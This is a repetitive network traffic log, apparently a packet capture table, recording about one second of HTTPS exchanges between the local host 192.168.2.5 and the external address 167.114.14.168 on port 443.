Oct 2, 2024 06:10:20.420295954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.420304060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.422137976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.422153950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.422218084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.422225952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.423368931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.423393965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.423432112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.423439026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.423456907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.423489094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.424165964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.424180031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.424221039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.424227953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.424238920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.424266100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425416946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425441980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425498962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425504923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425523996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425553083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425858974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425875902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425916910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425921917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.425954103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.425961018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.507749081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.507791042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.507868052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.507895947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.507910013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.507992029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508016109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508064032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.508073092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508085012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.508116961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.508810997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508853912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508872986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.508881092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.508902073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.508917093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.510793924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.510809898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.510870934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.510878086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.510910034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.510926962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.511938095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.511982918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.512010098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.512016058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.512042046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.512056112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.512702942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.512717962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.512770891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.512780905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.512864113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.512880087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.513868093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.513885975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.513923883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.513931036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.513961077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.513973951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.514364004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.514379978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.514416933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.514424086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.514450073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.514467955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.596350908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596366882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596481085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.596506119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596637964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596656084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596700907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.596709967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.596721888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.596752882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.597475052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.597490072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.597536087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.597542048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.597552061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.597583055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.599452972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.599471092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.599529982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.599538088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.600408077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.600441933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.600475073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.600482941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.600493908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.600528002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.601188898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.601203918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.601250887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.601258039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.601273060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.601311922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.602499008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.602515936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.602569103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.602575064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.602937937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.602955103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.602993965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.603001118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.603027105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.603046894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.640300989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686233997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686256886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686328888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686353922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686427116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686446905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686502934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686502934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686513901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686562061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686745882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686758995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686804056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.686810017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.686817884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.688875914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.688900948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.688961983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.688968897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.688985109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.689018011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.689682961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.689697981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.689754009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.689762115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.689938068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.690231085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.690244913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.690301895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.690308094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.690319061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.691303015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.691320896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.691369057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.691375971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.691414118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.691437006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.692713022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.692727089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.692789078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.692796946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.692827940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.692827940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.693844080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.773746967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.773766041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.773838043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.773870945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.773942947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.773966074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.773979902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.774027109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.774035931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.774065971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.774075985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.774688959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.774703979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.774801970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.774810076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.774832964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.774852037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.776756048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.776784897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.776863098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.776873112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.776922941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.777736902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.777754068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.777803898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.777812004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.777837992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.777859926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.779659033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779675961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779726982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.779733896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779756069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.779855967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779875040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779892921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.779901028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.779915094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.779954910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.781209946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.781234980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.781284094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.781295061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.781308889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.781420946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.862526894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.862545967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.862608910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.862623930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.862699032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.862988949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863003016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863063097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.863071918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863086939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.863126040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.863555908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863569975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863620043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.863650084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.863655090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.863725901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.865309954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.865324974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.865390062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.865397930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.865541935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.866316080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.866329908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.866388083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.866395950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.866489887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.868257046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.868272066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.868338108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.868345976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.868478060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.869240999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.869255066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.869308949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.869318962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.869364023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.870584011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.870599031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.870651007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.870657921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.870686054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.870697021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.951006889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951024055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951118946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.951131105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951280117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.951420069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951435089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951493979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.951500893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.951581955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.952116966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.952131987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.952193975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.952202082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.952816010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.953953028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.953969002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.954046011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.954054117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.954865932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.954893112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.954929113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.954936981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.954961061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.954994917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.957326889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957341909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957410097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.957418919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957561016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957585096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957636118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.957647085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.957663059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.957699060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.959347010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.959362030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.959434032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.959445000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.960314035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.960489988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.039557934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.039577007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.039649010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.039664030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.039710999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.040245056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040261984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040301085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.040308952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040337086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.040354967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.040481091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040496111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040550947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.040558100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.040807962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.042454958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.042469978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.042531013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.042537928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.042622089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.043423891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.043440104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.043482065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.043488026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.043528080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.043528080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.045635939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.045651913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.045707941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.045725107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.045742989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.045768023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.046041965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.046057940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.046111107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.046117067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.046155930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.046155930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.047771931 CEST	443	49715	167.114.14.168	192.168.2.5
